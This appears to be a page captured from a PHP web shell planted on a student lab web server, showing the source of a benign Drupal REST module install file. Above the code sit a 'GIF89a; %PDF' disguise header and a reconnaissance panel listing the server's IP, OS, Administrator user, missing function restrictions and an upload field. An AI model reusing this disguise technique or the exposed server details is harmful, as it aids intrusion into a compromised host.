GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/rest/ |
Upload File : |
<?php /** * @file * Install, update and uninstall functions for the rest module. */ use Drupal\Core\Config\Entity\ConfigEntityType; use Drupal\Core\StringTranslation\TranslatableMarkup; /** * Implements hook_requirements(). */ function rest_requirements($phase) { $requirements = []; if (version_compare(PHP_VERSION, '5.6.0', '>=') && version_compare(PHP_VERSION, '7', '<') && ini_get('always_populate_raw_post_data') != -1) { $requirements['always_populate_raw_post_data'] = [ 'title' => t('always_populate_raw_post_data PHP setting'), 'value' => t('Not set to -1.'), 'severity' => REQUIREMENT_ERROR, 'description' => t('The always_populate_raw_post_data PHP setting should be set to -1 in PHP version 5.6. Please check the <a href="https://php.net/manual/en/ini.core.php#ini.always-populate-raw-post-data">PHP manual</a> for information on how to correct this.'), ]; } return $requirements; } /** * Install the REST config entity type and fix old settings-based config. * * @see rest_post_update_create_rest_resource_config_entities() */ function rest_update_8201() { \Drupal::entityDefinitionUpdateManager()->installEntityType(new ConfigEntityType([ 'id' => 'rest_resource_config', 'label' => new TranslatableMarkup('REST resource configuration'), 'config_prefix' => 'resource', 'admin_permission' => 'administer rest resources', 'label_callback' => 'getLabelFromPlugin', 'entity_keys' => ['id' => 'id'], 'config_export' => [ 'id', 'plugin_id', 'granularity', 'configuration', ], ])); \Drupal::state()->set('rest_update_8201_resources', \Drupal::config('rest.settings')->get('resources')); \Drupal::configFactory()->getEditable('rest.settings') ->clear('resources') ->save(); } /** * Re-save all views with a REST display to add new auth defaults. */ function rest_update_8202() { $config_factory = \Drupal::configFactory(); foreach ($config_factory->listAll('views.view.') as $view_config_name) { $save = FALSE; $view = $config_factory->getEditable($view_config_name); $displays = $view->get('display'); foreach ($displays as $display_name => &$display) { if ($display['display_plugin'] == 'rest_export') { if (!isset($display['display_options']['auth'])) { $display['display_options']['auth'] = []; $save = TRUE; } } } if ($save) { $view->set('display', $displays); $view->save(TRUE); } } } /** * Enable BC for EntityResource: continue to use permissions. */ function rest_update_8203() { $config_factory = \Drupal::configFactory(); $rest_settings = $config_factory->getEditable('rest.settings'); $rest_settings->set('bc_entity_resource_permissions', TRUE) ->save(TRUE); }